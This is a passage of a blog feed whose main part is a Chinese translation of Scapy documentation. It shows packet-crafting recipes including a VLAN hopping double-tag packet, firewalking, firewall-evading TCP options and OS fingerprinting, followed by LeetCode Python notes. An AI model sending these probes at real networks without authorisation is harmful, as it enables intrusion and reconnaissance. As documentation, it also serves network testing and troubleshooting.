hopping"></a>VLAN hopping</h3><p> 在非常特殊的情况下,使用double 802.1q封装,可以将一个数据包跳到另一个VLAN中: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sendp(Ether()/Dot1Q(vlan=<span class="number">2</span>)/Dot1Q(vlan=<span class="number">7</span>)/IP(dst=target)/ICMP())</span><br></pre></td></tr></table></figure><h3 id="Wireless-sniffing"><a href="#Wireless-sniffing" class="headerlink" title="Wireless sniffing"></a>Wireless sniffing</h3><p> 以下的命令将会像大多数的无线嗅探器那样显示信息: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sniff(iface=<span class="string">"ath0"</span>, monitor=<span class="literal">True</span>, prn=<span class="keyword">lambda</span> x:x.sprintf(<span class="string">"{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}"</span>))</span><br></pre></td></tr></table></figure><p>注意参数 monitor=True , 只用于 scapy>2.4.0 (2.4.0dev+)版本,这是一个跨平台功能. 他基本上都能工作 (在Windows, OSX上), 但可能会要求你手动切换 monitor 模式.</p><p> 以上命令会产生类似如下的输出: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span>:<span class="number">01</span>:<span class="number">02</span>:<span class="number">03</span> netgear <span class="number">6L</span> ESS+privacy+PBCC</span><br><span class="line"><span class="number">11</span>:<span class="number">22</span>:<span class="number">33</span>:<span class="number">44</span>:<span class="number">55</span>:<span class="number">66</span> wireless_100 <span class="number">6L</span> short-slot+ESS+privacy</span><br><span class="line"><span class="number">44</span>:<span class="number">55</span>:<span class="number">66</span>:<span class="number">00</span>:<span class="number">11</span>:<span class="number">22</span> linksys <span class="number">6L</span> short-slot+ESS+privacy</span><br><span class="line"><span class="number">12</span>:<span class="number">34</span>:<span class="number">56</span>:<span class="number">78</span>:<span class="number">90</span>:<span class="number">12</span> NETGEAR <span class="number">6L</span> short-slot+ESS+privacy+short-preamble</span><br></pre></td></tr></table></figure><h2 id="Recipes"><a href="#Recipes" class="headerlink" title="Recipes"></a>Recipes</h2><h3 id="Simplistic-ARP-Monitor"><a href="#Simplistic-ARP-Monitor" class="headerlink" title="Simplistic ARP Monitor"></a>Simplistic ARP Monitor</h3><p> 以下的程序使用了<code>sniff()</code>函数的回调功能(prn参数)。将store参数设置为0,就可以使<code>sniff()</code>函数不存储任何数据(否则会存储),所以就可以一直嗅探下去。filter参数则用于在高负荷的情况下有更好的性能:filter会在内核中应用,而且Scapy就只能嗅探到ARP流量。 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#! /usr/bin/env python</span></span><br><span class="line"><span class="keyword">from</span> scapy.all <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">arp_monitor_callback</span><span class="params">(pkt)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> ARP <span class="keyword">in</span> pkt <span class="keyword">and</span> pkt[ARP].op <span class="keyword">in</span> (<span class="number">1</span>,<span class="number">2</span>): <span class="comment">#who-has or is-at</span></span><br><span class="line"> <span class="keyword">return</span> pkt.sprintf(<span class="string">"%ARP.hwsrc% %ARP.psrc%"</span>)</span><br><span class="line"></span><br><span class="line">sniff(prn=arp_monitor_callback, filter=<span class="string">"arp"</span>, store=<span class="number">0</span>)</span><br></pre></td></tr></table></figure><h3 id="Identifying-rogue-DHCP-servers-on-your-LAN"><a href="#Identifying-rogue-DHCP-servers-on-your-LAN" class="headerlink" title="Identifying rogue DHCP servers on your LAN"></a>Identifying rogue DHCP servers on your LAN</h3><h4 id="Problem"><a href="#Problem" class="headerlink" title="Problem"></a>Problem</h4><p> 你怀疑有人已经在你的LAN中安装了额外的未经授权的DHCP服务器-无论是故意的还是有意的。因此你想要检查是否有任何活动的DHCP服务器,并确定他们的IP和MAC地址。 </p><h4 id="Solution"><a href="#Solution" class="headerlink" title="Solution"></a>Solution</h4><p> 使用Scapy发送一个DHCP发现请求,并分析应答: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>conf.checkIPaddr = <span class="literal">False</span></span><br><span class="line"><span class="meta">>>> </span>fam,hw = get_if_raw_hwaddr(conf.iface)</span><br><span class="line"><span class="meta">>>> </span>dhcp_discover = Ether(dst=<span class="string">"ff:ff:ff:ff:ff:ff"</span>)/IP(src=<span class="string">"0.0.0.0"</span>,dst=<span class="string">"255.255.255.255"</span>)/UDP(sport=<span class="number">68</span>,dport=<span class="number">67</span>)/BOOTP(chaddr=hw)/DHCP(options=[(<span class="string">"message-type"</span>,<span class="string">"discover"</span>),<span class="string">"end"</span>])</span><br><span class="line"><span class="meta">>>> </span>ans, unans = srp(dhcp_discover, multi=<span class="literal">True</span>) <span class="comment"># Press CTRL-C after several seconds</span></span><br><span class="line">Begin emission:</span><br><span class="line">Finished to send <span class="number">1</span> packets.</span><br><span class="line">.*...*..</span><br><span class="line">Received <span class="number">8</span> packets, got <span class="number">2</span> answers, remaining <span class="number">0</span> packets</span><br></pre></td></tr></table></figure><p> 在这种情况下,我们得到了两个应答,所以测试网络上有两个活动的DHCP服务器: </p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans.summary()</span><br><span class="line">Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP</span><br><span class="line">Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP</span><br></pre></td></tr></table></figure><p>如果只感兴趣于MAC和IP地址:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span><span class="keyword">for</span> p <span class="keyword">in</span> ans: <span class="keyword">print</span> p[<span class="number">1</span>][Ether].src, p[<span class="number">1</span>][IP].src</span><br><span class="line">...</span><br><span class="line"><span class="number">00</span>:de:ad:be:ef:<span class="number">00</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.1</span></span><br><span class="line"><span class="number">00</span>:<span class="number">11</span>:<span class="number">11</span>:<span class="number">22</span>:<span class="number">22</span>:<span class="number">33</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.11</span></span><br></pre></td></tr></table></figure><h4 id="Discussion"><a href="#Discussion" class="headerlink" title="Discussion"></a>Discussion</h4><p>我们设置<code>multi=True</code>来确保Scapy在接收到第一个响应之后可以等待更多的应答数据包。这也就是我们为什么不用更方便的<code>dhcp_request()</code>函数,而是手动地构造DCHP数据包的原因:<code>dhcp_request()</code>使用<code>srp1()</code>来发送和接收数据包,这样在接收到一个应答数据包之后就会立即返回。</p><p>此外,Scapy通常确保应答来源于之前发送请求的目的地址。但是我们的DHCP数据包被发送到IP广播地址(255.255.255.255),任何应答数据包都将回复DCHP服务器的IP地址作为其源IP地址(e.g. 192.168.1.1)。由于这些IP地址不匹配,我们必须在发送请求前使用<code>conf.checkIPaddr = False</code>来禁用Scapy的check。</p><h4 id="See-also"><a href="#See-also" class="headerlink" title="See also"></a>See also</h4><p><a href="http://en.wikipedia.org/wiki/Rogue_DHCP" target="_blank" rel="noopener">http://en.wikipedia.org/wiki/Rogue_DHCP</a></p><h3 id="Firewalking"><a href="#Firewalking" class="headerlink" title="Firewalking"></a>Firewalking</h3><p> TTL减一操作过滤后,只有没被过滤的数据包会产生一个ICMP TTL超时 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr(IP(dst=<span class="string">"172.16.4.27"</span>, ttl=<span class="number">16</span>)/TCP(dport=(<span class="number">1</span>,<span class="number">1024</span>)))</span><br><span class="line"><span class="meta">>>> </span><span class="keyword">for</span> s,r <span class="keyword">in</span> ans:</span><br><span class="line"> <span class="keyword">if</span> r.haslayer(ICMP) <span class="keyword">and</span> r.payload.type == <span class="number">11</span>:</span><br><span class="line"> <span class="keyword">print</span> s.dport</span><br></pre></td></tr></table></figure><p> 在对多网卡的防火墙查找子网时,只有它自己的网卡IP可以达到这个TTL: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr(IP(dst=<span class="string">"172.16.5/24"</span>, ttl=<span class="number">15</span>)/TCP())</span><br><span class="line"><span class="meta">>>> </span><span class="keyword">for</span> i <span class="keyword">in</span> unans: <span class="keyword">print</span> i.dst</span><br></pre></td></tr></table></figure><h3 id="TCP-Timestamp-Filtering"><a href="#TCP-Timestamp-Filtering" class="headerlink" title="TCP Timestamp Filtering"></a>TCP Timestamp Filtering</h3><h4 id="Problem-1"><a href="#Problem-1" class="headerlink" title="Problem"></a>Problem</h4><p> 在比较流行的端口扫描器中,一种常见的情况就是没有设置TCP时间戳选项,而许多防火墙都包含一条规则来丢弃这样的TCP数据包。 </p><h4 id="Solution-1"><a href="#Solution-1" class="headerlink" title="Solution"></a>Solution</h4><p> 为了让Scapy能够到达其他位置,就必须使用其他选项: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sr1(IP(dst=<span class="string">"72.14.207.99"</span>)/TCP(dport=<span class="number">80</span>,flags=<span class="string">"S"</span>,options=[(<span class="string">'Timestamp'</span>,(<span class="number">0</span>,<span class="number">0</span>))]))</span><br></pre></td></tr></table></figure><h3 id="Viewing-packets-with-Wireshark"><a href="#Viewing-packets-with-Wireshark" class="headerlink" title="Viewing packets with Wireshark"></a>Viewing packets with Wireshark</h3><h4 id="Problem-2"><a href="#Problem-2" class="headerlink" title="Problem"></a>Problem</h4><p> 你已经使用Scapy收集或者嗅探了一些数据包,因为Wireshark高级的数据包展示功能,你想使用Wireshark查看这些数据包。 </p><h4 id="Solution-2"><a href="#Solution-2" class="headerlink" title="Solution"></a>Solution</h4><p> 正好可以使用<code>wireshark()</code>函数: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># First, generate some packets...</span></span><br><span class="line">packets = IP(src=<span class="string">"192.0.2.9"</span>, dst=Net(<span class="string">"192.0.2.10/30"</span>))/ICMP()</span><br><span class="line"></span><br><span class="line"><span class="comment"># Show them with Wireshark</span></span><br><span class="line">wireshark(packets)</span><br></pre></td></tr></table></figure><p>Wireshark 将会被启用并展示你的数据包。</p><h4 id="Discussion-1"><a href="#Discussion-1" class="headerlink" title="Discussion"></a>Discussion</h4><ul><li><p><code>wireshark</code>(<em>pktlist</em>, <em>…</em>)</p><p>With a <code>Packet</code> or <code>PacketList</code>, serialises your packets, and streams this into Wireshark via <code>stdin</code> as if it were a capture device.Because this uses <code>pcap</code> format to serialise the packets, there are some limitations:Packets must be all of the same <code>linktype</code>.For example, you can’t mix <code>Ether</code> and <code>IP</code> at the top layer.Packets must have an assigned (and supported) <code>DLT_*</code> constant for the <code>linktype</code>. An unsupported <code>linktype</code> is replaced with <code>DLT_EN10MB</code>(Ethernet), and will display incorrectly in Wireshark.For example, can’t pass a bare <code>ICMP</code> packet, but you can send it as a payload of an <code>IP</code> or <code>IPv6</code> packet.With a filename (passed as a string), this loads the given file in Wireshark. This needs to be in a format that Wireshark supports.You can tell Scapy where to find the Wireshark executable by changing the <code>conf.prog.wireshark</code> configuration setting.This accepts the same extra parameters as <code>tcpdump()</code>.</p></li></ul><p>See also</p><ul><li><p><a href="https://scapy.readthedocs.io/en/latest/advanced_usage.html#WiresharkSink" target="_blank" rel="noopener"><code>WiresharkSink</code></a></p><p>A <a href="https://scapy.readthedocs.io/en/latest/advanced_usage.html#pipetools" target="_blank" rel="noopener">PipeTools sink</a> for live-streaming packets.</p></li><li><p><em><a href="https://manpages.debian.org/wireshark(1)" target="_blank" rel="noopener">wireshark(1)</a></em></p><p>Additional description of Wireshark’s functionality, and its command-line arguments.</p></li><li><p><a href="https://www.wireshark.org/" target="_blank" rel="noopener">Wireshark’s website</a></p><p>For up-to-date releases of Wireshark.</p></li><li><p><a href="https://wiki.wireshark.org/ProtocolReference" target="_blank" rel="noopener">Wireshark Protocol Reference</a></p><p>Contains detailed information about Wireshark’s protocol dissectors, and reference documentation for various network protocols.</p></li></ul><h3 id="OS-Fingerprinting"><a href="#OS-Fingerprinting" class="headerlink" title="OS Fingerprinting"></a>OS Fingerprinting</h3><h4 id="ISN"><a href="#ISN" class="headerlink" title="ISN"></a>ISN</h4><p>Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = srloop(IP(dst=<span class="string">"192.168.1.1"</span>)/TCP(dport=<span class="number">80</span>,flags=<span class="string">"S"</span>))</span><br></pre></td></tr></table></figure><p>Once we obtain a reasonable number of responses we can start analyzing collected data with something like this:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>temp = <span class="number">0</span></span><br><span class="line"><span class="meta">>>> </span><span class="keyword">for</span> s, r <span class="keyword">in</span> ans:</span><br><span class="line"><span class="meta">... </span> temp = r[TCP].seq - temp</span><br><span class="line"><span class="meta">... </span> print(<span class="string">"%d\t+%d"</span> % (r[TCP].seq, temp))</span><br><span class="line">...</span><br><span class="line"><span class="number">4278709328</span> +<span class="number">4275758673</span></span><br><span class="line"><span class="number">4279655607</span> +<span class="number">3896934</span></span><br><span class="line"><span class="number">4280642461</span> +<span class="number">4276745527</span></span><br><span class="line"><span class="number">4281648240</span> +<span class="number">4902713</span></span><br><span class="line"><span class="number">4282645099</span> +<span class="number">4277742386</span></span><br><span class="line"><span class="number">4283643696</span> +<span class="number">5901310</span></span><br></pre></td></tr></table></figure><h4 id="nmap-fp"><a href="#nmap-fp" class="headerlink" title="nmap_fp"></a>nmap_fp</h4><p>Nmap fingerprinting (the old “1st generation” one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>load_module(<span class="string">"nmap"</span>)</span><br></pre></td></tr></table></figure><p>If you have Nmap installed you can use it’s active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>conf.nmap_base</span><br></pre></td></tr></table></figure><p>Then you can use the <code>nmap_fp()</code> function which implements same probes as in Nmap’s OS Detection engine:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>nmap_fp(<span class="string">"192.168.1.1"</span>,oport=<span class="number">443</span>,cport=<span class="number">1</span>)</span><br><span class="line">Begin emission:</span><br><span class="line">.****..**Finished to send <span class="number">8</span> packets.</span><br><span class="line">*................................................</span><br><span class="line">Received <span class="number">58</span> packets, got <span class="number">7</span> answers, remaining <span class="number">1</span> packets</span><br><span class="line">(<span class="number">1.0</span>, [<span class="string">'Linux 2.4.0 - 2.5.20'</span>, <span class="string">'Linux 2.4.19 w/grsecurity patch'</span>,</span><br><span class="line"><span class="string">'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch'</span>, <span class="string">'Linux 2.4.22-ck2 (x86)</span></span><br><span class="line"><span class="string">w/grsecurity.org and HZ=1000 patches'</span>, <span class="string">'Linux 2.4.7 - 2.6.11'</span>])</span><br></pre></td></tr></table></figure><h4 id="p0f"><a href="#p0f" class="headerlink" title="p0f"></a>p0f</h4><p> 如果你已在操作系统中安装了p0f,你可以直接从Scapy中使用它来猜测操作系统名称和版本。(仅在SYN数据库被使用时)。首先要确保p0f数据库存在于指定的路径: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>conf.p0f_base</span><br></pre></td></tr></table></figure><p>For example to guess OS from a single captured packet:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sniff(prn=prnp0f)</span><br><span class="line"><span class="number">192.168</span><span class="number">.1</span><span class="number">.100</span>:<span class="number">54716</span> - Linux <span class="number">2.6</span> (newer, <span class="number">1</span>) (up: <span class="number">24</span> hrs)</span><br><span class="line"> -> 74.125.19.104:www (distance 0)</span><br><span class="line"><Sniffed: TCP:<span class="number">339</span> UDP:<span class="number">2</span> ICMP:<span class="number">0</span> Other:<span class="number">156</span>></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p><a href="https://scapy.readthedocs.io/en/latest/usage.html" target="_blank" rel="noopener">文档官网</a>,大部分<a href="https://github.com/Larryx
</summary>
<category term="python" scheme="https://iwannatobehappy.github.io/tags/python/"/>
</entry>
<entry>
<title>内存对齐与结构体占据内存</title>
<link href="https://iwannatobehappy.github.io/2019/09/13/%E5%86%85%E5%AD%98%E5%AF%B9%E9%BD%90%E4%B8%8E%E7%BB%93%E6%9E%84%E4%BD%93%E5%8D%A0%E6%8D%AE%E5%86%85%E5%AD%98/"/>
<id>https://iwannatobehappy.github.io/2019/09/13/%E5%86%85%E5%AD%98%E5%AF%B9%E9%BD%90%E4%B8%8E%E7%BB%93%E6%9E%84%E4%BD%93%E5%8D%A0%E6%8D%AE%E5%86%85%E5%AD%98/</id>
<published>2019-09-13T15:45:42.000Z</published>
<updated>2019-09-13T15:48:43.797Z</updated>
<content type="html"><![CDATA[<p><a href="https://blog.csdn.net/kokodudu/article/details/11918219" target="_blank" rel="noopener">https://blog.csdn.net/kokodudu/article/details/11918219</a></p><p>有空总结一下</p>]]></content>
<summary type="html">
<p><a href="https://blog.csdn.net/kokodudu/article/details/11918219" target="_blank" rel="noopener">https://blog.csdn.net/kokodudu/article/d
</summary>
<category term="底层知识" scheme="https://iwannatobehappy.github.io/tags/%E5%BA%95%E5%B1%82%E7%9F%A5%E8%AF%86/"/>
</entry>
<entry>
<title>Leetcode刷题记录</title>
<link href="https://iwannatobehappy.github.io/2019/07/26/Leetcode%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/"/>
<id>https://iwannatobehappy.github.io/2019/07/26/Leetcode%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/</id>
<published>2019-07-26T07:25:54.000Z</published>
<updated>2019-07-26T07:50:07.428Z</updated>
<content type="html"><![CDATA[<p>因为官方已经有足够的正常答案,所以仅记录自己想的和官方不一样的思路</p><h3 id="1081-不同字符的最小子序列"><a href="#1081-不同字符的最小子序列" class="headerlink" title="1081.不同字符的最小子序列"></a>1081.不同字符的最小子序列</h3><ul><li><p><a href="https://leetcode-cn.com/problems/smallest-subsequence-of-distinct-characters" target="_blank" rel="noopener">题目描述</a></p><p>返回字符串 text 中按字典序排列最小的子序列,该子序列包含 text 中所有不同字符一次。</p><p><strong>示例 1:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:"cdadabcc"</span><br><span class="line">输出:"adbc"</span><br></pre></td></tr></table></figure></li></ul><p> <strong>示例 2:</strong></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:"abcd"</span><br><span class="line">输出:"abcd"</span><br></pre></td></tr></table></figure><p> <strong>示例 3:</strong></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:"ecbacba"</span><br><span class="line">输出:"eacb"</span><br></pre></td></tr></table></figure><p> <strong>示例 4:</strong></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:"leetcode"</span><br><span class="line">输出:"letcod"</span><br></pre></td></tr></table></figure><p> <strong>提示:</strong></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">1 <= text.length <= 1000</span><br><span class="line">text 由小写英文字母组成</span><br></pre></td></tr></table></figure><ul><li><p>解法一</p><p>贪心算法,也是官方的标答,利用堆栈不断向后搜索,比较简单,直接看代码就行,复杂度O(n^2)</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span><span class="params">(object)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">smallestSubsequence</span><span class="params">(self, text)</span>:</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> :type text: str</span></span><br><span class="line"><span class="string"> :rtype: str</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> stack = []</span><br><span class="line"> <span class="keyword">for</span> i, c <span class="keyword">in</span> enumerate(text):</span><br><span class="line"> <span class="keyword">if</span> c <span class="keyword">in</span> stack:</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">while</span> stack <span class="keyword">and</span> stack[<span class="number">-1</span>] > c <span class="keyword">and</span> text.find(stack[<span class="number">-1</span>], i) != <span class="number">-1</span>:</span><br><span class="line"> stack.pop()</span><br><span class="line"> </span><br><span class="line"> stack.append(c)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span>.join(stack)</span><br></pre></td></tr></table></figure></li></ul><ul><li><p>解法二</p><p>遍历一次可以得到所有字母的位置,我们只需要维护一个核心:下一个想看到的字母,就可以通过再遍历一次的方法得到答案了。</p><p>下一个想看到的字母有两个特性:</p><ul><li>他的位置一定要小于等于某一个字母最后出现的位置</li><li>在满足上一条件的同时,他的字典序要足够小</li></ul><p>所以我们只需要能根据第一次遍历的结果算出:所有字母最后出现的位置,以及对某一字母来说,从第i位开始第一次出现的位置,就可以确保第一个特性,复杂度与n无关。</p><p><code>position[sortedkeys[mina]][0]>min([x[-1] for x in position.values()]</code></p><p>其中<code>min([x[-1] for x in position.values()]</code>也是可以存储起来并在遍历过程中维护的。</p><p>第二个条件就更好满足了,只需要将所有出现过的字母排个序,找的时候从小到大判断其是否满足第一个条件就好,复杂度同样与n无关。</p><p><code>sortedkeys=sorted(position.keys())</code></p><p>最终复杂度O(n),代码如下,明显还有很大优化空间:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span><span class="params">(object)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">smallestSubsequence</span><span class="params">(self, text)</span>:</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> :type text: str</span></span><br><span class="line"><span class="string"> :rtype: str</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="keyword">if</span> text==<span class="string">""</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">""</span></span><br><span class="line"> index={<span class="string">'a'</span>:<span class="number">0</span>,<span class="string">'b'</span>:<span class="number">1</span>,<span class="string">'c'</span>:<span class="number">2</span>,<span class="string">'d'</span>:<span class="number">3</span>,<span class="string">'e'</span>:<span class="number">4</span>,<span class="string">'f'</span>:<span class="number">5</span>,<span class="string">'g'</span>:<span class="number">6</span>,<span class="string">'h'</span>:<span class="number">7</span>,<span class="string">'i'</span>:<span class="number">8</span>,<span class="string">'j'</span>:<span class="number">9</span>,<span class="string">'k'</span>:<span class="number">10</span>,<span class="string">'l'</span>:<span class="number">11</span>,<span class="string">'m'</span>:<span class="number">12</span>,<span class="string">'n'</span>:<span class="number">13</span>,<span class="string">'o'</span>:<span class="number">14</span>,<span class="string">'p'</span>:<span class="number">15</span>,<span class="string">'q'</span>:<span class="number">16</span>,<span class="string">'r'</span>:<span class="number">17</span>,<span class="string">'s'</span>:<span class="number">18</span>,<span class="string">'t'</span>:<span class="number">19</span>,<span class="string">'u'</span>:<span class="number">20</span>,<span class="string">'v'</span>:<span class="number">21</span>,<span class="string">'w'</span>:<span class="number">22</span>,<span class="string">'x'</span>:<span class="number">23</span>,<span class="string">'y'</span>:<span class="number">24</span>,<span class="string">'z'</span>:<span class="number">25</span>}</span><br><span class="line"> position={}</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(len(text)):</span><br><span class="line"> <span class="keyword">if</span> index[text[i]] <span class="keyword">not</span> <span class="keyword">in</span> position:</span><br><span class="line"> position[index[text[i]]]=[i] <span class="comment"># 记录每一字母出现的位置 dict{字母对应数字int:[下标int]}</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> position[index[text[i]]].append(i)</span><br><span class="line"> </span><br><span class="line"> sortedkeys=sorted(position.keys()) <span class="comment"># 将包含的字母从小到大排序</span></span><br><span class="line"> mina=<span class="number">0</span> <span class="comment"># 下一个想要寻找的字母的下标</span></span><br><span class="line"> <span class="keyword">while</span> position[sortedkeys[mina]][<span class="number">0</span>]>min([x[<span class="number">-1</span>] <span class="keyword">for</span> x <span class="keyword">in</span> position.values()]): <span class="comment"># 如果下一个要找的字母下一次出现的位置在某一字母最后一次出现的后面,则更改变大下一要找的字母</span></span><br><span class="line"> mina+=<span class="number">1</span></span><br><span class="line"> re=<span class="string">""</span></span><br><span class="line"> i=<span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span>(<span class="literal">True</span>):</span><br><span class="line"> <span class="keyword">if</span>(index[text[i]]==sortedkeys[mina]): <span class="comment"># 找到了</span></span><br><span class="line"> re+=text[i]</span><br><span class="line"> position.pop(index[text[i]]) <span class="comment"># 修改position,不在需要该类字母位置</span></span><br><span class="line"> <span class="keyword">if</span> position=={}:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> sortedkeys.pop(mina) <span class="comment"># 修改sortedkeys,不在需要寻找该类字母</span></span><br><span class="line"> mina=<span class="number">0</span> <span class="comment"># 修改mina,确定下一要找的字母</span></span><br><span class="line"> <span class="keyword">while</span> position[sortedkeys[mina]][<span class="number">0</span>]>min([x[<span class="number">-1</span>] <span class="keyword">for</span> x <span class="keyword">in</span> position.values()]):</span><br><span class="line"> mina+=<span class="number">1</span></span><br><span class="line"> i+=<span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">if</span> index[text[i]] <span class="keyword">in</span> position:</span><br><span class="line"> position[index[text[i]]].pop(<span class="number">0</span>) </span><br><span class="line"> i+=<span class="number">1</span></span><br><span class="line"> <span 